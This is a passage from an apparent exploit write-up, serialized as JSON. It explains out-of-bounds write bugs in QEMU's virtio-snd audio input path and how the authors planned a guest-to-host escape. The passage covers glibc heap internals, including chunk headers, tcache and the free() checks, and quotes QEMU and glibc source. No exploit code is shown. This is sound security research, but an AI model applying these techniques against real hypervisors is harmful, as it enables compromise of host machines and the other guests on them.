",{"type":26,"tag":475,"props":125207,"children":125208},{"style":714},[125209],{"type":32,"value":4282},{"type":26,"tag":475,"props":125211,"children":125212},{"style":499},[125213],{"type":32,"value":125214},"st_params;\n",{"type":26,"tag":475,"props":125216,"children":125217},{"class":477,"line":596},[125218],{"type":26,"tag":475,"props":125219,"children":125220},{"emptyLinePlaceholder":18},[125221],{"type":32,"value":545},{"type":26,"tag":475,"props":125223,"children":125224},{"class":477,"line":610},[125225],{"type":26,"tag":475,"props":125226,"children":125227},{"style":499},[125228],{"type":32,"value":104233},{"type":26,"tag":475,"props":125230,"children":125231},{"class":477,"line":650},[125232],{"type":26,"tag":475,"props":125233,"children":125234},{"emptyLinePlaceholder":18},[125235],{"type":32,"value":545},{"type":26,"tag":475,"props":125237,"children":125238},{"class":477,"line":679},[125239,125244,125248,125253],{"type":26,"tag":475,"props":125240,"children":125241},{"style":499},[125242],{"type":32,"value":125243}," st_params ",{"type":26,"tag":475,"props":125245,"children":125246},{"style":714},[125247],{"type":32,"value":786},{"type":26,"tag":475,"props":125249,"children":125250},{"style":493},[125251],{"type":32,"value":125252}," virtio_snd_pcm_get_params",{"type":26,"tag":475,"props":125254,"children":125255},{"style":499},[125256],{"type":32,"value":125257},"(s, stream_id);\n",{"type":26,"tag":475,"props":125259,"children":125260},{"class":477,"line":735},[125261],{"type":26,"tag":475,"props":125262,"children":125263},{"emptyLinePlaceholder":18},[125264],{"type":32,"value":545},{"type":26,"tag":475,"props":125266,"children":125267},{"class":477,"line":744},[125268],{"type":26,"tag":475,"props":125269,"children":125270},{"style":499},[125271],{"type":32,"value":104233},{"type":26,"tag":475,"props":125273,"children":125274},{"class":477,"line":753},[125275],{"type":26,"tag":475,"props":125276,"children":125277},{"emptyLinePlaceholder":18},[125278],{"type":32,"value":545},{"type":26,"tag":475,"props":125280,"children":125281},{"class":477,"line":761},[125282,125287,125291,125296,125300,125305,125309,125313,125317,125321],{"type":26,"tag":475,"props":125283,"children":125284},{"style":2375},[125285],{"type":32,"value":125286}," st_params",{"type":26,"tag":475,"props":125288,"children":125289},{"style":499},[125290],{"type":32,"value":13464},{"type":26,"tag":475,"props":125292,"children":125293},{"style":2375},[125294],{"type":32,"value":125295},"buffer_bytes",{"type":26,"tag":475,"props":125297,"children":125298},{"style":714},[125299],{"type":32,"value":2383},{"type":26,"tag":475,"props":125301,"children":125302},{"style":493},[125303],{"type":32,"value":125304}," le32_to_cpu",{"type":26,"tag":475,"props":125306,"children":125307},{"style":499},[125308],{"type":32,"value":626},{"type":26,"tag":475,"props":125310,"children":125311},{"style":2375},[125312],{"type":32,"value":97900},{"type":26,"tag":475,"props":125314,"children":125315},{"style":499},[125316],{"type":32,"value":13464},{"type":26,"tag":475,"props":125318,"children":125319},{"style":2375},[125320],{"type":32,"value":125295},{"type":26,"tag":475,"props":125322,"children":125323},{"style":499},[125324],{"type":32,"value":3533},{"type":26,"tag":475,"props":125326,"children":125327},{"class":477,"line":770},[125328,125332,125336,125340,125344,125348,125352,125356,125360,125364],{"type":26,"tag":475,"props":125329,"children":125330},{"style":2375},[125331],{"type":32,"value":125286},{"type":26,"tag":475,"props":125333,"children":125334},{"style":499},[125335],{"type":32,"value":13464},{"type":26,"tag":475,"props":125337,"children":125338},{"style":2375},[125339],{"type":32,"value":124745},{"type":26,"tag":475,"props":125341,"children":125342},{"style":714},[125343],{"type":32,"value":2383},{"type":26,"tag":475,"props":125345,"children":125346},{"style":493},[125347],{"type":32,"value":125304},{"type":26,"tag":475,"props":125349,"children":125350},{"style":499},[125351],{"type":32,"value":626},{"type":26,"tag":475,"props":125353,"children":125354},{"style":2375},[125355],{"type":32,"value":97900},{"type":26,"tag":475,"props":125357,"children":125358},{"style":499},[125359],{"type":32,"value":13464},{"type":26,"tag":475,"props":125361,"children":125362},{"style":2375},[125363],{"type":32,"value":124745},{"type":26,"tag":475,"props":125365,"children":125366},{"style":499},[125367],{"type":32,"value":3533},{"type":26,"tag":475,"props":125369,"children":125370},{"class":477,"line":794},[125371,125375,125379,125384,125388,125392,125396,125400,125404,125408],{"type":26,"tag":475,"props":125372,"children":125373},{"style":2375},[125374],{"type":32,"value":125286},{"type":26,"tag":475,"props":125376,"children":125377},{"style":499},[125378],{"type":32,"value":13464},{"type":26,"tag":475,"props":125380,"children":125381},{"style":2375},[125382],{"type":32,"value":125383},"features",{"type":26,"tag":475,"props":125385,"children":125386},{"style":714},[125387],{"type":32,"value":2383},{"type":26,"tag":475,"props":125389,"children":125390},{"style":493},[125391],{"type":32,"value":125304},{"type":26,"tag":475,"props":125393,"children":125394},{"style":499},[125395],{"type":32,"value":626},{"type":26,"tag":475,"props":125397,"children":125398},{"style":2375},[125399],{"type":32,"value":97900},{"type":26,"tag":475,"props":125401,"children":125402},{"style":499},[125403],{"type":32,"value":13464},{"type":26,"tag":475,"props":125405,"children":125406},{"style":2375},[125407],{"type":32,"value":125383},{"type":26,"tag":475,"props":125409,"children":125410},{"style":499},[125411],{"type":32,"value":3533},{"type":26,"tag":475,"props":125413,"children":125414},{"class":477,"line":831},[125415],{"type":26,"tag":475,"props":125416,"children":125417},{"style":552},[125418],{"type":32,"value":125419}," /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":26,"tag":475,"props":125421,"children":125422},{"class":477,"line":845},[125423,125427,125431,125436,125440,125445,125449,125453],{"type":26,"tag":475,"props":125424,"children":125425},{"style":2375},[125426],{"type":32,"value":125286},{"type":26,"tag":475,"props":125428,"children":125429},{"style":499},[125430],{"type":32,"value":13464},{"type":26,"tag":475,"props":125432,"children":125433},{"style":2375},[125434],{"type":32,"value":125435},"channels",{"type":26,"tag":475,"props":125437,"children":125438},{"style":714},[125439],{"type":32,"value":2383},{"type":26,"tag":475,"props":125441,"children":125442},{"style":2375},[125443],{"type":32,"value":125444}," params",{"type":26,"tag":475,"props":125446,"children":125447},{"style":499},[125448],{"type":32,"value":13464},{"type":26,"tag":475,"props":125450,"children":125451},{"style":2375},[125452],{"type":32,"value":125435},{"type":26,"tag":475,"props":125454,"children":125455},{"style":499},[125456],{"type":32,"value":2729},{"type":26,"tag":475,"props":125458,"children":125459},{"class":477,"line":854},[125460,125464,125468,125473,125477,125481,125485,125489],{"type":26,"tag":475,"props":125461,"children":125462},{"style":2375},[125463],{"type":32,"value":125286},{"type":26,"tag":475,"props":125465,"children":125466},{"style":499},[125467],{"type":32,"value":13464},{"type":26,"tag":475,"props":125469,"children":125470},{"style":2375},[125471],{"type":32,"value":125472},"format",{"type":26,"tag":475,"props":125474,"children":125475},{"style":714},[125476],{"type":32,"value":2383},{"type":26,"tag":475,"props":125478,"children":125479},{"style":2375},[125480],{"type":32,"value":125444},{"type":26,"tag":475,"props":125482,"children":125483},{"style":499},[125484],{"type":32,"value":13464},{"type":26,"tag":475,"props":125486,"children":125487},{"style":2375},[125488],{"type":32,"value":125472},{"type":26,"tag":475,"props":125490,"children":125491},{"style":499},[125492],{"type":32,"value":2729},{"type":26,"tag":475,"props":125494,"children":125495},{"class":477,"line":862},[125496,125500,125504,125509,125513,125517,125521,125525],{"type":26,"tag":475,"props":125497,"children":125498},{"style":2375},[125499],{"type":32,"value":125286},{"type":26,"tag":475,"props":125501,"children":125502},{"style":499},[125503],{"type":32,"value":13464},{"type":26,"tag":475,"props":125505,"children":125506},{"style":2375},[125507],{"type":32,"value":125508},"rate",{"type":26,"tag":475,"props":125510,"children":125511},{"style":714},[125512],{"type":32,"value":2383},{"type":26,"tag":475,"props":125514,"children":125515},{"style":2375},[125516],{"type":32,"value":125444},{"type":26,"tag":475,"props":125518,"children":125519},{"style":499},[125520],{"type":32,"value":13464},{"type":26,"tag":475,"props":125522,"children":125523},{"style":2375},[125524],{"type":32,"value":125508},{"type":26,"tag":475,"props":125526,"children":125527},{"style":499},[125528],{"type":32,"value":2729},{"type":26,"tag":475,"props":125530,"children":125531},{"class":477,"line":885},[125532],{"type":26,"tag":475,"props":125533,"children":125534},{"emptyLinePlaceholder":18},[125535],{"type":32,"value":545},{"type":26,"tag":475,"props":125537,"children":125538},{"class":477,"line":913},[125539,125543,125548],{"type":26,"tag":475,"props":125540,"children":125541},{"style":586},[125542],{"type":32,"value":16695},{"type":26,"tag":475,"props":125544,"children":125545},{"style":493},[125546],{"type":32,"value":125547}," cpu_to_le32",{"type":26,"tag":475,"props":125549,"children":125550},{"style":499},[125551],{"type":32,"value":125552},"(VIRTIO_SND_S_OK);\n",{"type":26,"tag":475,"props":125554,"children":125555},{"class":477,"line":926},[125556],{"type":26,"tag":475,"props":125557,"children":125558},{"style":499},[125559],{"type":32,"value":3607},{"type":26,"tag":35,"props":125561,"children":125562},{},[125563,125565,125570,125572,125578,125580,125585,125587,125592,125594,125600,125601,125606],{"type":32,"value":125564},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":26,"tag":53,"props":125566,"children":125568},{"className":125567},[],[125569],{"type":32,"value":3127},{"type":32,"value":125571},") and signed (",{"type":26,"tag":53,"props":125573,"children":125575},{"className":125574},[],[125576],{"type":32,"value":125577},"s8",{"type":32,"value":125579},") samples. They encode the same waveform differently - silence is ",{"type":26,"tag":53,"props":125581,"children":125583},{"className":125582},[],[125584],{"type":32,"value":29142},{"type":32,"value":125586}," in ",{"type":26,"tag":53,"props":125588,"children":125590},{"className":125589},[],[125591],{"type":32,"value":3127},{"type":32,"value":125593},", but ",{"type":26,"tag":53,"props":125595,"children":125597},{"className":125596},[],[125598],{"type":32,"value":125599},"0x00",{"type":32,"value":125586},{"type":26,"tag":53,"props":125602,"children":125604},{"className":125603},[],[125605],{"type":32,"value":125577},{"type":32,"value":353},{"type":26,"tag":18502,"props":125608,"children":125609},{},[],{"type":26,"tag":35,"props":125611,"children":125612},{},[125613],{"type":32,"value":125614},"To summarize:",{"type":26,"tag":181,"props":125616,"children":125617},{},[125618,125637,125655],{"type":26,"tag":86,"props":125619,"children":125620},{},[125621,125623,125628,125630,125635],{"type":32,"value":125622},"an integer underflow in the ",{"type":26,"tag":53,"props":125624,"children":125626},{"className":125625},[],[125627],{"type":32,"value":123692},{"type":32,"value":125629}," calculation in ",{"type":26,"tag":53,"props":125631,"children":125633},{"className":125632},[],[125634],{"type":32,"value":123197},{"type":32,"value":125636},", resulting in an 8-byte (or less) under-allocation",{"type":26,"tag":86,"props":125638,"children":125639},{},[125640,125642,125647,125648,125653],{"type":32,"value":125641},"a mismatch in the ",{"type":26,"tag":53,"props":125643,"children":125645},{"className":125644},[],[125646],{"type":32,"value":124924},{"type":32,"value":125629},{"type":26,"tag":53,"props":125649,"children":125651},{"className":125650},[],[125652],{"type":32,"value":125022},{"type":32,"value":125654},", leading to at most 8-byte OOB write",{"type":26,"tag":86,"props":125656,"children":125657},{},[125658,125660,125665,125667,125672,125674,125679],{"type":32,"value":125659},"a missing bound in the ",{"type":26,"tag":53,"props":125661,"children":125663},{"className":125662},[],[125664],{"type":32,"value":123692},{"type":32,"value":125666}," passed to ",{"type":26,"tag":53,"props":125668,"children":125670},{"className":125669},[],[125671],{"type":32,"value":125042},{"type":32,"value":125673},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":26,"tag":53,"props":125675,"children":125677},{"className":125676},[],[125678],{"type":32,"value":125065},{"type":32,"value":81911},{"type":26,"tag":35,"props":125681,"children":125682},{},[125683,125685,125690,125692,125697,125699,125705],{"type":32,"value":125684},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":26,"tag":53,"props":125686,"children":125688},{"className":125687},[],[125689],{"type":32,"value":125065},{"type":32,"value":125691},", but in our setup with the ALSA backend, ",{"type":26,"tag":53,"props":125693,"children":125695},{"className":125694},[],[125696],{"type":32,"value":125065},{"type":32,"value":125698}," was consistently around ",{"type":26,"tag":53,"props":125700,"children":125702},{"className":125701},[],[125703],{"type":32,"value":125704},"4096",{"type":32,"value":353},{"type":26,"tag":35,"props":125707,"children":125708},{},[125709,125711,125718,125719,125726],{"type":32,"value":125710},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":26,"tag":116,"props":125712,"children":125715},{"href":125713,"rel":125714},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[120],[125716],{"type":32,"value":125717},"commit 1",{"type":32,"value":637},{"type":26,"tag":116,"props":125720,"children":125723},{"href":125721,"rel":125722},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[120],[125724],{"type":32,"value":125725},"commit 2",{"type":32,"value":125727},") in the very same week that we independently found them while manually reviewing the code.",{"type":26,"tag":27,"props":125729,"children":125730},{"id":440},[125731],{"type":32,"value":443},{"type":26,"tag":35,"props":125733,"children":125734},{},[125735],{"type":32,"value":125736},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":26,"tag":35,"props":125738,"children":125739},{},[125740],{"type":32,"value":125741},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":26,"tag":41,"props":125743,"children":125745},{"id":125744},"achieving-a-better-primitive",[125746],{"type":32,"value":125747},"Achieving a Better Primitive",{"type":26,"tag":35,"props":125749,"children":125750},{},[125751],{"type":32,"value":125752},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":26,"tag":35,"props":125754,"children":125755},{},[125756],{"type":32,"value":125757},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":26,"tag":35,"props":125759,"children":125760},{},[125761],{"type":32,"value":125762},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":26,"tag":70,"props":125764,"children":125766},{"id":125765},"glibc-allocator",[125767],{"type":32,"value":125768},"Glibc Allocator",{"type":26,"tag":35,"props":125770,"children":125771},{},[125772,125774,125781],{"type":32,"value":125773},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":26,"tag":116,"props":125775,"children":125778},{"href":125776,"rel":125777},"https://github.com/shellphish/how2heap",[120],[125779],{"type":32,"value":125780},"how2heap",{"type":32,"value":353},{"type":26,"tag":37040,"props":125783,"children":125785},{"id":125784},"chunk-layout-and-bins",[125786],{"type":32,"value":125787},"Chunk Layout and Bins",{"type":26,"tag":35,"props":125789,"children":125790},{},[125791],{"type":32,"value":125792},"A chunk looks like this:",{"type":26,"tag":465,"props":125794,"children":125796},{"code":125795}," +0x0 +0x8\n +-------------+-------------+\n | prev_size | size |\n +---------------------------+\n+0x10 | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | . . . |\n",[125797],{"type":26,"tag":53,"props":125798,"children":125799},{"__ignoreMap":7},[125800],{"type":32,"value":125795},{"type":26,"tag":35,"props":125802,"children":125803},{},[125804,125806,125812,125814,125820,125821,125826,125827,125833,125835,125840,125842,125847,125849,125855,125856,125862,125864,125870],{"type":32,"value":125805},"The first 16 bytes form the chunk header. It consists of the ",{"type":26,"tag":53,"props":125807,"children":125809},{"className":125808},[],[125810],{"type":32,"value":125811},"prev_size",{"type":32,"value":125813}," field at offset ",{"type":26,"tag":53,"props":125815,"children":125817},{"className":125816},[],[125818],{"type":32,"value":125819},"0x0",{"type":32,"value":37244},{"type":26,"tag":53,"props":125822,"children":125824},{"className":125823},[],[125825],{"type":32,"value":123692},{"type":32,"value":125813},{"type":26,"tag":53,"props":125828,"children":125830},{"className":125829},[],[125831],{"type":32,"value":125832},"0x8",{"type":32,"value":125834},". As the name suggests, ",{"type":26,"tag":53,"props":125836,"children":125838},{"className":125837},[],[125839],{"type":32,"value":125811},{"type":32,"value":125841}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":26,"tag":53,"props":125843,"children":125845},{"className":125844},[],[125846],{"type":32,"value":123692},{"type":32,"value":125848}," stores the size of the current chunk and three special bits of which ",{"type":26,"tag":53,"props":125850,"children":125852},{"className":125851},[],[125853],{"type":32,"value":125854},"PREV_INUSE",{"type":32,"value":209},{"type":26,"tag":53,"props":125857,"children":125859},{"className":125858},[],[125860],{"type":32,"value":125861},"IS_MMAPPED",{"type":32,"value":125863}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":26,"tag":53,"props":125865,"children":125867},{"className":125866},[],[125868],{"type":32,"value":125869},"0x10",{"type":32,"value":353},{"type":26,"tag":35,"props":125872,"children":125873},{},[125874],{"type":32,"value":125875},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":26,"tag":37040,"props":125877,"children":125879},{"id":125878},"free-path",[125880],{"type":32,"value":125881},"free() path",{"type":26,"tag":35,"props":125883,"children":125884},{},[125885,125887,125893],{"type":32,"value":125886},"Let’s first look at the ",{"type":26,"tag":53,"props":125888,"children":125890},{"className":125889},[],[125891],{"type":32,"value":125892},"free()",{"type":32,"value":125894}," path in glibc 2.40:",{"type":26,"tag":465,"props":125896,"children":125898},{"code":125897,"language":2854,"meta":7,"className":16220,"style":7},"__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p;\n\n p = mem2chunk (mem);\n if (chunk_is_mmapped (p))\n {\n munmap_chunk (p);\n }\n else\n {\n MAYBE_INIT_TCACHE ();\n\n ar_ptr = arena_for_chunk (p);\n _int_free (ar_ptr, p, 0);\n }\n}\n",[125899],{"type":26,"tag":53,"props":125900,"children":125901},{"__ignoreMap":7},[125902,125930,125937,125945,125953,125960,125982,126003,126010,126023,126030,126038,126045,126058,126065,126086,126107,126114],{"type":26,"tag":475,"props":125903,"children":125904},{"class":477,"line":478},[125905,125910,125914,125918,125922,125926],{"type":26,"tag":475,"props":125906,"children":125907},{"style":493},[125908],{"type":32,"value":125909},"__libc_free",{"type":26,"tag":475,"props":125911,"children":125912},{"style":499},[125913],{"type":32,"value":2775},{"type":26,"tag":475,"props":125915,"children":125916},{"style":482},[125917],{"type":32,"value":51318},{"type":26,"tag":475,"props":125919,"children":125920},{"style":714},[125921],{"type":32,"value":9525},{"type":26,"tag":475,"props":125923,"children":125924},{"style":2375},[125925],{"type":32,"value":40352},{"type":26,"tag":475,"props":125927,"children":125928},{"style":499},[125929],{"type":32,"value":647},{"type":26,"tag":475,"props":125931,"children":125932},{"class":477,"line":516},[125933],{"type":26,"tag":475,"props":125934,"children":125935},{"style":499},[125936],{"type":32,"value":10589},{"type":26,"tag":475,"props":125938,"children":125939},{"class":477,"line":539},[125940],{"type":26,"tag":475,"props":125941,"children":125942},{"style":499},[125943],{"type":32,"value":125944}," mstate ar_ptr;\n",{"type":26,"tag":475,"props":125946,"children":125947},{"class":477,"line":548},[125948],{"type":26,"tag":475,"props":125949,"children":125950},{"style":499},[125951],{"type":32,"value":125952}," mchunkptr p;\n",{"type":26,"tag":475,"props":125954,"children":125955},{"class":477,"line":558},[125956],{"type":26,"tag":475,"props":125957,"children":125958},{"emptyLinePlaceholder":18},[125959],{"type":32,"value":545},{"type":26,"tag":475,"props":125961,"children":125962},{"class":477,"line":582},[125963,125968,125972,125977],{"type":26,"tag":475,"props":125964,"children":125965},{"style":499},[125966],{"type":32,"value":125967}," p ",{"type":26,"tag":475,"props":125969,"children":125970},{"style":714},[125971],{"type":32,"value":786},{"type":26,"tag":475,"props":125973,"children":125974},{"style":493},[125975],{"type":32,"value":125976}," mem2chunk",{"type":26,"tag":475,"props":125978,"children":125979},{"style":499},[125980],{"type":32,"value":125981}," (mem);\n",{"type":26,"tag":475,"props":125983,"children":125984},{"class":477,"line":596},[125985,125989,125993,125998],{"type":26,"tag":475,"props":125986,"children":125987},{"style":586},[125988],{"type":32,"value":31094},{"type":26,"tag":475,"props":125990,"children":125991},{"style":499},[125992],{"type":32,"value":2775},{"type":26,"tag":475,"props":125994,"children":125995},{"style":493},[125996],{"type":32,"value":125997},"chunk_is_mmapped",{"type":26,"tag":475,"props":125999,"children":126000},{"style":499},[126001],{"type":32,"value":126002}," (p))\n",{"type":26,"tag":475,"props":126004,"children":126005},{"class":477,"line":610},[126006],{"type":26,"tag":475,"props":126007,"children":126008},{"style":499},[126009],{"type":32,"value":28889},{"type":26,"tag":475,"props":126011,"children":126012},{"class":477,"line":650},[126013,126018],{"type":26,"tag":475,"props":126014,"children":126015},{"style":493},[126016],{"type":32,"value":126017}," munmap_chunk",{"type":26,"tag":475,"props":126019,"children":126020},{"style":499},[126021],{"type":32,"value":126022}," (p);\n",{"type":26,"tag":475,"props":126024,"children":126025},{"class":477,"line":679},[126026],{"type":26,"tag":475,"props":126027,"children":126028},{"style":499},[126029],{"type":32,"value":851},{"type":26,"tag":475,"props":126031,"children":126032},{"class":477,"line":735},[126033],{"type":26,"tag":475,"props":126034,"children":126035},{"style":586},[126036],{"type":32,"value":126037}," else\n",{"type":26,"tag":475,"props":126039,"children":126040},{"class":477,"line":744},[126041],{"type":26,"tag":475,"props":126042,"children":126043},{"style":499},[126044],{"type":32,"value":28889},{"type":26,"tag":475,"props":126046,"children":126047},{"class":477,"line":753},[126048,126053],{"type":26,"tag":475,"props":126049,"children":126050},{"style":493},[126051],{"type":32,"value":126052}," MAYBE_INIT_TCACHE",{"type":26,"tag":475,"props":126054,"children":126055},{"style":499},[126056],{"type":32,"value":126057}," ();\n",{"type":26,"tag":475,"props":126059,"children":126060},{"class":477,"line":761},[126061],{"type":26,"tag":475,"props":126062,"children":126063},{"emptyLinePlaceholder":18},[126064],{"type":32,"value":545},{"type":26,"tag":475,"props":126066,"children":126067},{"class":477,"line":770},[126068,126073,126077,126082],{"type":26,"tag":475,"props":126069,"children":126070},{"style":499},[126071],{"type":32,"value":126072}," ar_ptr ",{"type":26,"tag":475,"props":126074,"children":126075},{"style":714},[126076],{"type":32,"value":786},{"type":26,"tag":475,"props":126078,"children":126079},{"style":493},[126080],{"type":32,"value":126081}," arena_for_chunk",{"type":26,"tag":475,"props":126083,"children":126084},{"style":499},[126085],{"type":32,"value":126022},{"type":26,"tag":475,"props":126087,"children":126088},{"class":477,"line":794},[126089,126094,126099,126103],{"type":26,"tag":475,"props":126090,"children":126091},{"style":493},[126092],{"type":32,"value":126093}," _int_free",{"type":26,"tag":475,"props":126095,"children":126096},{"style":499},[126097],{"type":32,"value":126098}," (ar_ptr, p, ",{"type":26,"tag":475,"props":126100,"children":126101},{"style":903},[126102],{"type":32,"value":3732},{"type":26,"tag":475,"props":126104,"children":126105},{"style":499},[126106],{"type":32,"value":3533},{"type":26,"tag":475,"props":126108,"children":126109},{"class":477,"line":831},[126110],{"type":26,"tag":475,"props":126111,"children":126112},{"style":499},[126113],{"type":32,"value":851},{"type":26,"tag":475,"props":126115,"children":126116},{"class":477,"line":845},[126117],{"type":26,"tag":475,"props":126118,"children":126119},{"style":499},[126120],{"type":32,"value":3607},{"type":26,"tag":35,"props":126122,"children":126123},{},[126124,126126,126131,126133,126138,126140,126146,126148,126154,126156,126161,126163,126168,126170,126175,126177,126182],{"type":32,"value":126125},"We can see that if the ",{"type":26,"tag":53,"props":126127,"children":126129},{"className":126128},[],[126130],{"type":32,"value":125861},{"type":32,"value":126132}," bit is set in the corrupted ",{"type":26,"tag":53,"props":126134,"children":126136},{"className":126135},[],[126137],{"type":32,"value":123692},{"type":32,"value":126139}," field, glibc will call ",{"type":26,"tag":53,"props":126141,"children":126143},{"className":126142},[],[126144],{"type":32,"value":126145},"munmap_chunk",{"type":32,"value":126147},", which internally checks that ",{"type":26,"tag":53,"props":126149,"children":126151},{"className":126150},[],[126152],{"type":32,"value":126153},"prev_size + size",{"type":32,"value":126155}," is page-aligned. To reach the ",{"type":26,"tag":53,"props":126157,"children":126159},{"className":126158},[],[126160],{"type":32,"value":123692},{"type":32,"value":126162}," field, we first have to overwrite the entire 8-byte ",{"type":26,"tag":53,"props":126164,"children":126166},{"className":126165},[],[126167],{"type":32,"value":125811},{"type":32,"value":126169}," field with uncontrolled data. The chance that a corrupted ",{"type":26,"tag":53,"props":126171,"children":126173},{"className":126172},[],[126174],{"type":32,"value":126153},{"type":32,"value":126176}," value still ends up page-aligned is extremely small. In practice, if ",{"type":26,"tag":53,"props":126178,"children":126180},{"className":126179},[],[126181],{"type":32,"value":125861},{"type":32,"value":126183}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":26,"tag":35,"props":126185,"children":126186},{},[126187,126189,126194,126196,126202],{"type":32,"value":126188},"Assuming ",{"type":26,"tag":53,"props":126190,"children":126192},{"className":126191},[],[126193],{"type":32,"value":125861},{"type":32,"value":126195}," is not set, execution continues into ",{"type":26,"tag":53,"props":126197,"children":126199},{"className":126198},[],[126200],{"type":32,"value":126201},"_int_free",{"type":32,"value":179},{"type":26,"tag":465,"props":126204,"children":126206},{"code":126205,"language":2854,"meta":7,"className":16220,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size;\n\n size = chunksize (p);\n\n /* Little security check which won't hurt performance: the\n allocator never wraps around at the end of the address space.\n Therefore we can exclude some size values which might appear\n here by accident or by \"design\" from some intruder. */\n if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n || __builtin_expect (misaligned_chunk (p), 0))\n malloc_printerr (\"free(): invalid pointer\");\n /* We know that each chunk is at least MINSIZE bytes in size or a\n multiple of MALLOC_ALIGNMENT. */\n if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n malloc_printerr (\"free(): invalid size\");\n\n check_inuse_chunk(av, p);\n\n [...]\n",[126207],{"type":26,"tag":53,"props":126208,"children":126209},{"__ignoreMap":7},[126210,126222,126265,126272,126280,126287,126308,126315,126323,126331,126339,126347,126411,126446,126467,126475,126483,126531,126551,126558,126571,126578],{"type":26,"tag":475,"props":126211,"children":126212},{"class":477,"line":478},[126213,126217],{"type":26,"tag":475,"props":126214,"children":126215},{"style":482},[126216],{"type":32,"value":50736},{"type":26,"tag":475,"props":126218,"children":126219},{"style":482},[126220],{"type":32,"value":126221}," void\n",{"type":26,"tag":475,"props":126223,"children":126224},{"class":477,"line":516},[126225,126229,126234,126239,126244,126248,126252,126256,126261],{"type":26,"tag":475,"props":126226,"children":126227},{"style":493},[126228],{"type":32,"value":126201},{"type":26,"tag":475,"props":126230,"children":126231},{"style":499},[126232],{"type":32,"value":126233}," (mstate ",{"type":26,"tag":475,"props":126235,"children":126236},{"style":2375},[126237],{"type":32,"value":126238},"av",{"type":26,"tag":475,"props":126240,"children":126241},{"style":499},[126242],{"type":32,"value":126243},", mchunkptr ",{"type":26,"tag":475,"props":126245,"children":126246},{"style":2375},[126247],{"type":32,"value":35},{"type":26,"tag":475,"props":126249,"children":126250},{"style":499},[126251],{"type":32,"value":637},{"type":26,"tag":475,"props":126253,"children":126254},{"style":482},[126255],{"type":32,"value":18755},{"type":26,"tag":475,"props":126257,"children":126258},{"style":2375},[126259],{"type":32,"value":126260}," have_lock",{"type":26,"tag":475,"props":126262,"children":126263},{"style":499},[126264],{"type":32,"value":647},{"type":26,"tag":475,"props":126266,"children":126267},{"class":477,"line":539},[126268],{"type":26,"tag":475,"props":126269,"children":126270},{"style":499},[126271],{"type":32,"value":10589},{"type":26,"tag":475,"props":126273,"children":126274},{"class":477,"line":548},[126275],{"type":26,"tag":475,"props":126276,"children":126277},{"style":499},[126278],{"type":32,"value":126279}," INTERNAL_SIZE_T size;\n",{"type":26,"tag":475,"props":126281,"children":126282},{"class":477,"line":558},[126283],{"type":26,"tag":475,"props":126284,"children":126285},{"emptyLinePlaceholder":18},[126286],{"type":32,"value":545},{"type":26,"tag":475,"props":126288,"children":126289},{"class":477,"line":582},[126290,126295,126299,126304],{"type":26,"tag":475,"props":126291,"children":126292},{"style":499},[126293],{"type":32,"value":126294}," size ",{"type":26,"tag":475,"props":126296,"children":126297},{"style":714},[126298],{"type":32,"value":786},{"type":26,"tag":475,"props":126300,"children":126301},{"style":493},[126302],{"type":32,"value":126303}," chunksize",{"type":26,"tag":475,"props":126305,"children":126306},{"style":499},[126307],{"type":32,"value":126022},{"type":26,"tag":475,"props":126309,"children":126310},{"class":477,"line":596},[126311],{"type":26,"tag":475,"props":126312,"children":126313},{"emptyLinePlaceholder":18},[126314],{"type":32,"value":545},{"type":26,"tag":475,"props":126316,"children":126317},{"class":477,"line":610},[126318],{"type":26,"tag":475,"props":126319,"children":126320},{"style":552},[126321],{"type":32,"value":126322}," /* Little security check which won't hurt performance: the\n",{"type":26,"tag":475,"props":126324,"children":126325},{"class":477,"line":650},[126326],{"type":26,"tag":475,"props":126327,"children":126328},{"style":552},[126329],{"type":32,"value":126330}," allocator never wraps around at the end of the address space.\n",{"type":26,"tag":475,"props":126332,"children":126333},{"class":477,"line":679},[126334],{"type":26,"tag":475,"props":126335,"children":126336},{"style":552},[126337],{"type":32,"value":126338}," Therefore we can exclude some size values which might appear\n",{"type":26,"tag":475,"props":126340,"children":126341},{"class":477,"line":735},[126342],{"type":26,"tag":475,"props":126343,"children":126344},{"style":552},[126345],{"type":32,"value":126346}," here by accident or by \"design\" from some intruder. 